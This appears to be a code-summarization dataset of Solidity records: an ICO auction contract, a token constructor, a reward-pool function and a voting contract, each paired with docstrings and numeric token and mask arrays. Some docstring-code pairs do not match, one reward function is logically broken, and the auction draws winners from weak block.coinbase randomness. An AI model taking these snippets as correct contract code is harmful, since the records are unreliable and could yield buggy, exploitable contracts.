event Deposit(address indexed _bidder, uint256 Amount, uint256 TokenPrice);
//Events fired during random selection process, can comment out to reduce gas
event BidSelected(address indexed _bidder, bool Success);
event BidderPB(uint256 PriceBucket);
event BidderBI(uint256 BucketIndex);
event BidderTB(uint256 TotalBid);
event BidderFQ(uint256 FilledQuantity);
event BidderFT(uint256 FilledTotal);
event AuctionSL(uint256 AuctionSupplyLeft);
event CapAL(uint256 CapAmountLeft);
event TokensWithdrawn(address indexed _bidder, uint256 Amount);
event DepositWithdrawn(address indexed _bidder, uint256 Amount);
event NoticeMsg(address indexed _from, string Msg);
event ErrorMsg(address indexed _from, string Msg);
modifier andIsOwner {
require(msg.sender == owner);
_;
}
//Fallback function, not payable, sends message if executed
function(){ ErrorMsg(msg.sender, "Provided inputs invalid bid rejected"); }
/// @dev Constructor for auction contract
/// @param _capAmount The cap of the raise
/// @param _minimumTargetRaise The minimum acceptable raise amount, will
/// allow withdrawals and cancel auction if not met
/// @param _minimumBid The lowest acceptable total bid
/// @param _highTokenPrice The highest token price per token
/// @param _lowTokenPrice The lowest token price per token
/// @param _priceIncrement Price increment between each price point, will
/// determine the number of price points
/// @param _decimals The number of zeros to add to token supply, usually 18
/// @param _percentAuctioned Percent amount of total token supply to be
/// auctioned. This number should be between 1 and 100
/// @param _startTime The timestamp of the auction start time
function StandardICOAuction(uint256 _capAmount,
uint256 _minimumTargetRaise,
uint256 _minimumBid,
uint256 _highTokenPrice,
uint256 _lowTokenPrice,
uint256 _priceIncrement,
uint256 _decimals,
uint256 _percentAuctioned,
uint256 _startTime)
{
require(_minimumTargetRaise > 0);
require(_lowTokenPrice > 0 && _startTime > now);
require(_percentAuctioned > 0 && _percentAuctioned < 100);
require(_capAmount > _minimumTargetRaise && _minimumBid > 0);
require(_highTokenPrice > _lowTokenPrice && _priceIncrement > 0);
//This ensures there are no overflow issues later with the number of tokens
require((_capAmount/_lowTokenPrice)<(11*10**(72-_decimals)));
for(uint256 i = _lowTokenPrice; i<=_highTokenPrice; i+=_priceIncrement){
tokenPricePoints.push(i);
}
uint256 _len = tokenPricePoints.length;
owner = msg.sender;
capAmount = _capAmount;
minimumTargetRaise = _minimumTargetRaise;
minimumBid = _minimumBid;
percentOfTokensAuctioned = _percentAuctioned;
decimals = _decimals;
startTime = _startTime;
endTime = _startTime + 2592000; //Add 30 days
bidAmount.length = _len;
endIndex.length = _len;
allowWithdraw.length = _len;
}
/// @dev Function to submit a bid
/// @param _tokenPrice Desired token price point, must be listed in
/// tokenPricePoints array
function deposit(uint256 _tokenPrice) payable returns (bool ok) {
uint256 _bucketIndex;
bool found;
//Failures do not result in throwing an error due to the current lack of
//information when throwing. There is instead a failedDeposit map
//where bidders can retrieve their deposit by calling getFailedDeposit()
if((now < startTime) || (endTime < now)){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Not auction time, call getFailedDeposit()");
return false;
}
if(bidLocation[msg.sender][0] != 0){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "This account already bid, call getFailedDeposit()");
return false;
}
(found, _bucketIndex) = tokenPricePoints.indexOf(_tokenPrice, true);
if(!found){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Price point not listed, call getFailedDeposit() and try again");
return false;
}
if(msg.value < minimumBid){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Bid too low, call getFailedDeposit() and try again");
return false;
}
if(msg.value < _tokenPrice){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Bid below lowest price, call getFailedDeposit() and try again");
return false;
}
uint256 _len = bids[_tokenPrice].length++;
Bid _lastIndex = bids[_tokenPrice][_len];
if(_lastIndex.totalBid != 0){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Submission error, call getFailedDeposit() and try again");
return false;
}
_lastIndex.bidder = msg.sender;
_lastIndex.totalBid = msg.value;
bidLocation[msg.sender][0] = _tokenPrice;
bidLocation[msg.sender][1] = _len;
Deposit(msg.sender, msg.value, _tokenPrice);
bidAmount[_bucketIndex] += msg.value; //records total amount raised at each price point
return true;
}
/// @dev Utility function called after auction, finds the price point from
/// high to low until cap is met in reverse Dutch style, also checks that
/// minimum target was met
function findTokenPrice() private {
uint256 _total;
uint256 _indexOfBucket = bidAmount.length;
while(_total < capAmount){
_indexOfBucket--;
_total += bidAmount[_indexOfBucket];
if(_indexOfBucket == 0)
break;
}
if(_total < minimumTargetRaise){
cancelAuction = true;
for(uint256 i = 0; i<allowWithdraw.length; i++){
allowWithdraw[i] = true;
}
} else if(_total <= capAmount){
fundAll = true;
}
bestPrice = tokenPricePoints[_indexOfBucket];
bpIndex = _indexOfBucket;
}
/// @dev Generates the ERC20 Standard Token contract
/// @param _name Name for token
/// @param _symbol Token symbol
/// @param _seed String provided for first hash in selection sequence
function processAuction(string _name, string _symbol, string _seed)
andIsOwner
returns (bool ok)
{
if(now < endTime){
ErrorMsg(msg.sender, "Auction is not over");
return false;
}
findTokenPrice();
if(cancelAuction){
NoticeMsg(msg.sender, "Minimum not met, auction cancelled");
return true;
}
bool err;
uint256 _initialSupply;
auctionSupply = capAmount / bestPrice;
if(capAmount % bestPrice != 0) auctionSupply++;
(err, _initialSupply) = auctionSupply.times(100);
if(err) {
ErrorMsg(msg.sender, "Fatal error, should never occur, but if it does all deposits are returned");
cancelAuction = true;
for(uint256 i = 0; i<allowWithdraw.length; i++){
allowWithdraw[i] = true;
}
return false;
}
_initialSupply = _initialSupply / percentOfTokensAuctioned;
if(_initialSupply % percentOfTokensAuctioned != 0) _initialSupply++;
auctionSupply *= 10**decimals;
_initialSupply *= 10**decimals;
address tokenAddress = new ICOAuctionStandardToken(_name, _symbol, _initialSupply, decimals, msg.sender);
token = ICOAuctionStandardToken(tokenAddress);
err = !(token.approve(this, auctionSupply));
//No error catch here because everything needs to be unraveled
require(!err);
if(!fundAll) {
calcMaxBytes();
//The first hash uses the seed and miner address. The miner can't control
//the seed, the caller can't control which miner. This leaves some control
//to caller but caller is token issuer who is implementing this random
//auction in the first place.
bytes32 _hash = sha3(_seed, block.coinbase);
hashCode = _hash;
//Release funds for inelligible low bidders
for(i = 0; i<bpIndex; i++){
allowWithdraw[i] = true;
}
}
return true;
}
/// @dev Utility function to calculate number of bytes in a hash to use for
/// random number
function calcMaxBytes() private {
uint256 _numberOfBytes;
uint256 _bestPrice;
uint256 x;
for(uint256 i = bpIndex; i<tokenPricePoints.length; i++){
_bestPrice = tokenPricePoints[i];
totalEligibleBids += bids[_bestPrice].length;
endIndex[i] = totalEligibleBids - 1;
}
while(x < totalEligibleBids){
x = 0;
++_numberOfBytes;
x = 16**(_numberOfBytes*2);
}
uint256 maxNumber = x;
uint256 _byteDivisor = 0;
while(x >= totalEligibleBids){
x = maxNumber;
++_byteDivisor;
x = x/_byteDivisor;
}
numberOfBytes = _numberOfBytes;
byteDivisor = _byteDivisor - 1;
}
/// @dev Utility function to build number from hash
/// @param _hash Hash provided
/// @return uint The number generated
function buildNumber(bytes32 _hash) private returns (uint index){
uint256 x;
for (uint i = 0; i < numberOfBytes; i++) {
uint b = uint(_hash[numberOfBytes - i]);
x += b * 256**i;
}
return x/byteDivisor;
}
/// @dev ICO owner calls this function after token generation to fund accounts
/// @return bool Returns false if call ran low on gas, true when funding is
/// complete. This allows function to stop without OOG error. When false is
/// returned, ICO owner should call function again until complete is true.
function fundTokens() andIsOwner returns(bool ok){
if(auctionSupply == 0){
ErrorMsg(msg.sender, "Call processAuction() first");
return false;
}
uint256 _winnerIndex;
uint256 _startIndex;
uint256 _quantity;
uint256 _filledQuantity;
uint256 _filledTotal;
uint256 _bucket;
uint256 _len;
bool err;
uint256 i;
if(!fundAll){
while(auctionSupply != 0){
if(msg.gas < 50000){
ErrorMsg(msg.sender, "Gas running low call again");
return false;
}
_winnerIndex = buildNumber(hashCode);
_startIndex = 0;
if(_winnerIndex < totalEligibleBids){
for(i = bpIndex; i<endIndex.length; i++){
if(_winnerIndex <= endIndex[i]){
_bucket = tokenPricePoints[i];
i = endIndex.length;
} else {
_startIndex = endIndex[i] + 1;
}
}
} else {
//If hash is too high, hash again and start over
hashCode = sha3(hashCode);
continue;
}
Bid _winningBid = bids[_bucket][_winnerIndex - _startIndex];
if(_winningBid.totalBid < bestPrice){
hashCode = sha3(hashCode);
continue;
}
_quantity = (_winningBid.totalBid / bestPrice);
_filledQuantity = _quantity * (10**decimals);
//Some copy work from Nick Johnson's contract
//If there's not enough tokens left, they get the remaining tokens
if(auctionSupply < _filledQuantity) {
_filledQuantity = auctionSupply;
}
(err, _filledTotal) = bestPrice.times(_filledQuantity / (10**decimals));
// Sell the user the tokens
if(_winningBid.totalBid > _filledTotal){
_winningBid.totalBid -= _filledTotal;
} else {
_winningBid.totalBid = 0;
}
if(capAmount > _filledTotal){
capAmount -= _filledTotal;
} else {
capAmount = 0;
}
auctionSupply -= _filledQuantity;
owner.transfer(_filledTotal);
withdrawTokensMap[_winningBid.bidder] += _filledQuantity;
hashCode = sha3(hashCode);
//These can be commented out to reduce gas cost during execution
BidSelected(_winningBid.bidder, true);
BidderPB(_bucket);
BidderBI(_winnerIndex - _startIndex);
BidderFQ(_filledQuantity);
BidderFT(_filledTotal);
AuctionSL(auctionSupply);
CapAL(capAmount);
}
} else {
for(i = 0; i < tokenPricePoints.length; i++){
_bucket = tokenPricePoints[i];
_len = bids[_bucket].length;
for(uint256 z = 0; z < _len; z++){
if(msg.gas < 30000){
ErrorMsg(msg.sender, "Gas running low call again");
return false;
}
_winningBid = bids[_bucket][z];
_quantity = _winningBid.totalBid / bestPrice;
_filledQuantity = _quantity * (10**decimals);
(err, _filledTotal) = bestPrice.times(_filledQuantity / (10**decimals));
if(_winningBid.totalBid > _filledTotal){
//Leave the leftover change
_winningBid.totalBid -= _filledTotal;
} else {
_winningBid.totalBid = 0;
}
capAmount -= _filledTotal;
auctionSupply -= _filledQuantity;
owner.transfer(_filledTotal);
withdrawTokensMap[_winningBid.bidder] += _filledQuantity;
}
}
}
for(i = 0; i<allowWithdraw.length; i++){
if(msg.gas < 20000){ return false; }
allowWithdraw[i] = true;
}
return true;
}
/// @dev Function called by winning bidders to pull tokens
function withdrawTokens() {
var total = withdrawTokensMap[msg.sender];
withdrawTokensMap[msg.sender] = 0;
bool ok = token.transferFrom(owner, msg.sender, total);
if(ok)
TokensWithdrawn(msg.sender, total);
}
/// @dev Function called by bidders to withdraw remaining funds
function withdrawDeposit() {
uint256 _price = bidLocation[msg.sender][0];
bool found;
uint256 _bucket;
(found, _bucket) = tokenPricePoints.indexOf(_price, true);
//If auction is completed and funded, cancelled, or 30 days after completion
//allow withdraw of remaining funds.
if(allowWithdraw[_bucket] || (now > (endTime+2592000))){
uint256 _index = bidLocation[msg.sender][1];
var total = bids[_price][_index].totalBid;
bids[_price][_index].totalBid = 0;
msg.sender.transfer(total);
DepositWithdrawn(msg.sender, total);
} else {
ErrorMsg(msg.sender, "Withdraw not allowed");
}
}
/// @dev Function called by bidders to retrieve failed bid
function getFailedDeposit() {
uint256 amount = failedDeposit[msg.sender];
failedDeposit[msg.sender] = 0;
msg.sender.transfer(amount);
}
}
|
@dev Function to submit a bid @param _tokenPrice Desired token price point, must be listed in tokenPricePoints arrayFailures do not result in throwing an error due to the current lack ofinformation when throwing. There is instead a failedDeposit mapwhere bidders can retrieve their deposit by calling getFailedDeposit()
|
function deposit(uint256 _tokenPrice) payable returns (bool ok) {
uint256 _bucketIndex;
bool found;
if((now < startTime) || (endTime < now)){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Not auction time, call getFailedDeposit()");
return false;
}
if(bidLocation[msg.sender][0] != 0){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "This account already bid, call getFailedDeposit()");
return false;
}
(found, _bucketIndex) = tokenPricePoints.indexOf(_tokenPrice, true);
if(!found){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Price point not listed, call getFailedDeposit() and try again");
return false;
}
if(msg.value < minimumBid){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Bid too low, call getFailedDeposit() and try again");
return false;
}
if(msg.value < _tokenPrice){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Bid below lowest price, call getFailedDeposit() and try again");
return false;
}
uint256 _len = bids[_tokenPrice].length++;
Bid _lastIndex = bids[_tokenPrice][_len];
if(_lastIndex.totalBid != 0){
failedDeposit[msg.sender] = msg.value;
ErrorMsg(msg.sender, "Submission error, call getFailedDeposit() and try again");
return false;
}
_lastIndex.bidder = msg.sender;
_lastIndex.totalBid = msg.value;
bidLocation[msg.sender][0] = _tokenPrice;
bidLocation[msg.sender][1] = _len;
Deposit(msg.sender, msg.value, _tokenPrice);
return true;
}
| 12,613,548 |
[
1,
2083,
358,
4879,
279,
9949,
225,
389,
2316,
5147,
23960,
1147,
6205,
1634,
16,
1297,
506,
12889,
316,
1147,
5147,
5636,
526,
14479,
741,
486,
563,
316,
19440,
392,
555,
6541,
358,
326,
783,
30679,
434,
13117,
1347,
19440,
18,
6149,
353,
3560,
279,
2535,
758,
1724,
852,
6051,
324,
1873,
414,
848,
4614,
3675,
443,
1724,
635,
4440,
2812,
1708,
758,
1724,
1435,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
443,
1724,
12,
11890,
5034,
389,
2316,
5147,
13,
8843,
429,
1135,
261,
6430,
1529,
13,
288,
203,
565,
2254,
5034,
389,
7242,
1016,
31,
203,
565,
1426,
1392,
31,
203,
203,
565,
309,
12443,
3338,
411,
8657,
13,
747,
261,
409,
950,
411,
2037,
3719,
95,
203,
1377,
2535,
758,
1724,
63,
3576,
18,
15330,
65,
273,
1234,
18,
1132,
31,
203,
1377,
1068,
3332,
12,
3576,
18,
15330,
16,
315,
1248,
279,
4062,
813,
16,
745,
2812,
1708,
758,
1724,
1435,
8863,
203,
1377,
327,
629,
31,
203,
565,
289,
203,
203,
565,
309,
12,
19773,
2735,
63,
3576,
18,
15330,
6362,
20,
65,
480,
374,
15329,
203,
1377,
2535,
758,
1724,
63,
3576,
18,
15330,
65,
273,
1234,
18,
1132,
31,
203,
1377,
1068,
3332,
12,
3576,
18,
15330,
16,
315,
2503,
2236,
1818,
9949,
16,
745,
2812,
1708,
758,
1724,
1435,
8863,
203,
1377,
327,
629,
31,
203,
565,
289,
203,
203,
565,
261,
7015,
16,
389,
7242,
1016,
13,
273,
1147,
5147,
5636,
18,
31806,
24899,
2316,
5147,
16,
638,
1769,
203,
565,
309,
12,
5,
7015,
15329,
203,
1377,
2535,
758,
1724,
63,
3576,
18,
15330,
65,
273,
1234,
18,
1132,
31,
203,
1377,
1068,
3332,
12,
3576,
18,
15330,
16,
315,
5147,
1634,
486,
12889,
16,
745,
2812,
1708,
758,
1724,
1435,
471,
775,
3382,
8863,
203,
1377,
327,
629,
31,
203,
565,
289,
203,
203,
565,
309,
12,
3576,
18,
1132,
411,
5224,
17763,
15329,
203,
1377,
2535,
758,
1724,
63,
3576,
18,
15330,
2
] |
./partial_match/1/0x5b34D10411cc88cE840FeB96db4Da6a8A850C831/sources/OtterClam.sol
|
* Constrctor function Initializes contract with initial supply tokens to the creator of the contract/* @dev Replacement for Solidity's `transfer`: sends `amount` wei to `recipient`, forwarding all available gas and reverting on errors. increases the gas cost of certain opcodes, possibly making contracts go over the 2300 gas limit imposed by `transfer`, making them unable to receive funds via `transfer`. {sendValue} removes this limitation./
|
constructor() public {
symbol = "OTRClam";
name = "OtterClam.Finance";
decimals = 9;
_totalSupply = 10000000 * 10**9;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
| 3,538,056 |
[
1,
442,
701,
30206,
445,
10188,
3128,
6835,
598,
2172,
14467,
2430,
358,
326,
11784,
434,
326,
6835,
19,
225,
6910,
475,
364,
348,
7953,
560,
1807,
1375,
13866,
68,
30,
9573,
1375,
8949,
68,
732,
77,
358,
1375,
20367,
9191,
20635,
777,
2319,
16189,
471,
15226,
310,
603,
1334,
18,
7033,
3304,
326,
16189,
6991,
434,
8626,
1061,
7000,
16,
10016,
10480,
20092,
1960,
1879,
326,
10213,
713,
16189,
1800,
709,
7423,
635,
1375,
13866,
9191,
10480,
2182,
13496,
358,
6798,
284,
19156,
3970,
1375,
13866,
8338,
288,
4661,
620,
97,
7157,
333,
17732,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
3885,
1435,
1071,
288,
203,
565,
3273,
273,
315,
1974,
54,
2009,
301,
14432,
203,
565,
508,
273,
315,
51,
88,
387,
2009,
301,
18,
6187,
1359,
14432,
203,
565,
15105,
273,
2468,
31,
203,
565,
389,
4963,
3088,
1283,
273,
2130,
11706,
380,
1728,
636,
29,
31,
203,
565,
324,
26488,
63,
8443,
65,
273,
389,
4963,
3088,
1283,
31,
203,
565,
3626,
12279,
12,
2867,
12,
20,
3631,
3410,
16,
389,
4963,
3088,
1283,
1769,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x909e2dc5e3E4E562E25B73589E9b31F49Abfc2aD/sources/src/BaseRewardPool.sol
|
* @dev Called by the booster to allocate new Crv rewards to this pool Curve is queued for rewards and the distribution only begins once the new rewards are sufficiently large, or the epoch has ended./uint256 queuedRatio = currentRewards.mul(1000).div(_rewards);
|
function queueNewRewards(uint256 _rewards) external returns(bool){
require(msg.sender == operator, "!authorized");
_rewards = _rewards.add(queuedRewards);
if (block.timestamp >= periodFinish) {
notifyRewardAmount(_rewards);
queuedRewards = 0;
return true;
}
uint256 queuedRatio = currentAtNow.mul(1000).div(_rewards);
if(queuedRatio < newRewardRatio){
notifyRewardAmount(_rewards);
queuedRewards = 0;
queuedRewards = _rewards;
}
return true;
}
| 4,160,743 |
[
1,
8185,
635,
326,
14994,
264,
358,
10101,
394,
385,
4962,
283,
6397,
358,
333,
2845,
1377,
22901,
353,
12234,
364,
283,
6397,
471,
326,
7006,
1338,
17874,
3647,
326,
394,
283,
6397,
854,
18662,
715,
1377,
7876,
16,
578,
326,
7632,
711,
16926,
18,
19,
11890,
5034,
12234,
8541,
273,
783,
17631,
14727,
18,
16411,
12,
18088,
2934,
2892,
24899,
266,
6397,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2389,
1908,
17631,
14727,
12,
11890,
5034,
389,
266,
6397,
13,
3903,
1135,
12,
6430,
15329,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
3726,
16,
17528,
8434,
8863,
203,
3639,
389,
266,
6397,
273,
389,
266,
6397,
18,
1289,
12,
19499,
17631,
14727,
1769,
203,
203,
3639,
309,
261,
2629,
18,
5508,
1545,
3879,
11641,
13,
288,
203,
5411,
5066,
17631,
1060,
6275,
24899,
266,
6397,
1769,
203,
5411,
12234,
17631,
14727,
273,
374,
31,
203,
5411,
327,
638,
31,
203,
3639,
289,
203,
3639,
2254,
5034,
12234,
8541,
273,
783,
861,
8674,
18,
16411,
12,
18088,
2934,
2892,
24899,
266,
6397,
1769,
203,
203,
3639,
309,
12,
19499,
8541,
411,
394,
17631,
1060,
8541,
15329,
203,
5411,
5066,
17631,
1060,
6275,
24899,
266,
6397,
1769,
203,
5411,
12234,
17631,
14727,
273,
374,
31,
203,
5411,
12234,
17631,
14727,
273,
389,
266,
6397,
31,
203,
3639,
289,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title A voting session
/// @author Rares Stanciu
/// @notice You can use this contract to create a voting session,
/// register candidates and cast votes.
contract VoteSession is Ownable {
/// @notice Event emitted when a new candidate is registered
/// @param _timestamp Time when the candidate was registered
/// @param _address The address of the candidate that has been registered
/// @param _name The name of the candidate that has been registered
/// @param _id The ID of the registered candidate
event CandidateRegistered(
uint256 _timestamp,
address _address,
string _name,
uint8 _id
);
/// @notice Event emitted when the voting is started
/// @param _timestamp Time when the voting session has started
event VotingStarted(uint256 _timestamp);
/// @notice Event emitted when the voting has ended
/// @param _timestamp Time when the voting session has ended
event VotingEnded(uint256 _timestamp);
struct Candidate {
uint256 registered_at;
string name;
uint8 id;
}
enum Status {
CANDIDATE_REGISTER_OPEN,
VOTING,
FINISHED
}
Status public voteStatus;
mapping(address => Candidate) public candidates;
uint256 public startDate;
uint256 public duration;
uint8 public numberOfCandidates;
string public title;
mapping(address => uint8) public votes;
modifier isCandidateRegistrationOpen() {
require(
voteStatus == Status.CANDIDATE_REGISTER_OPEN,
"Candidate registration has ended."
);
_;
}
modifier isVotingOpen() {
require(voteStatus == Status.VOTING, "Voting is not open.");
_;
}
constructor(string memory _title, uint256 _startDate, uint256 _duration) {
voteStatus = Status.CANDIDATE_REGISTER_OPEN;
startDate = _startDate;
duration = _duration;
title = _title;
}
/// @notice Function called when registering a new candidate
/// @dev Function will revert if voting has started/ended or if
/// the candidate is already registered.
/// @param _address Candidate's address
/// @param _name Candidate's name (will be shown in frontend)
function registerCandidate(address _address, string memory _name)
external
isCandidateRegistrationOpen
{
require(candidates[_address].id == 0, "Candidate already registered.");
numberOfCandidates++;
candidates[_address] = Candidate({
name: _name,
registered_at: block.timestamp,
id: numberOfCandidates
});
emit CandidateRegistered(
block.timestamp,
_address,
_name,
numberOfCandidates
);
}
/// @notice Function called when starting the voting process
/// @dev Function will revert if voting has already started/finished
/// or if there are not at least two candidates registered.
function start() external isCandidateRegistrationOpen {
require(block.timestamp >= startDate, "Voting cannot start yet.");
require(numberOfCandidates > 1, "At least two candidates are necessary.");
voteStatus = Status.VOTING;
emit VotingStarted(block.timestamp);
}
/// @notice Function called when casting a vote
/// @dev Function will revert if user already voted or the candidate does not exist.
function vote(uint8 _candidateId) external isVotingOpen {
require(votes[msg.sender] == 0, "You already voted.");
require(_candidateId <= numberOfCandidates, "Candidate does not exist.");
votes[msg.sender] = _candidateId;
}
/// @notice Function called when closing the voting session
/// @dev Function will rever if not enough time has elapsed since voting has started.
function stop() external isVotingOpen {
require(
block.timestamp >= startDate + duration,
"Voting cannot be ended now."
);
voteStatus = Status.FINISHED;
emit VotingEnded(block.timestamp);
}
}
|
@title A voting session @author Rares Stanciu @notice You can use this contract to create a voting session, register candidates and cast votes.
|
contract VoteSession is Ownable {
event CandidateRegistered(
uint256 _timestamp,
address _address,
string _name,
uint8 _id
);
event VotingStarted(uint256 _timestamp);
event VotingEnded(uint256 _timestamp);
pragma solidity ^0.8.4;
struct Candidate {
uint256 registered_at;
string name;
uint8 id;
}
enum Status {
CANDIDATE_REGISTER_OPEN,
VOTING,
FINISHED
}
Status public voteStatus;
mapping(address => Candidate) public candidates;
uint256 public startDate;
uint256 public duration;
uint8 public numberOfCandidates;
string public title;
mapping(address => uint8) public votes;
modifier isCandidateRegistrationOpen() {
require(
voteStatus == Status.CANDIDATE_REGISTER_OPEN,
"Candidate registration has ended."
);
_;
}
modifier isVotingOpen() {
require(voteStatus == Status.VOTING, "Voting is not open.");
_;
}
constructor(string memory _title, uint256 _startDate, uint256 _duration) {
voteStatus = Status.CANDIDATE_REGISTER_OPEN;
startDate = _startDate;
duration = _duration;
title = _title;
}
function registerCandidate(address _address, string memory _name)
external
isCandidateRegistrationOpen
{
require(candidates[_address].id == 0, "Candidate already registered.");
numberOfCandidates++;
candidates[_address] = Candidate({
name: _name,
registered_at: block.timestamp,
id: numberOfCandidates
});
emit CandidateRegistered(
block.timestamp,
_address,
_name,
numberOfCandidates
);
}
function registerCandidate(address _address, string memory _name)
external
isCandidateRegistrationOpen
{
require(candidates[_address].id == 0, "Candidate already registered.");
numberOfCandidates++;
candidates[_address] = Candidate({
name: _name,
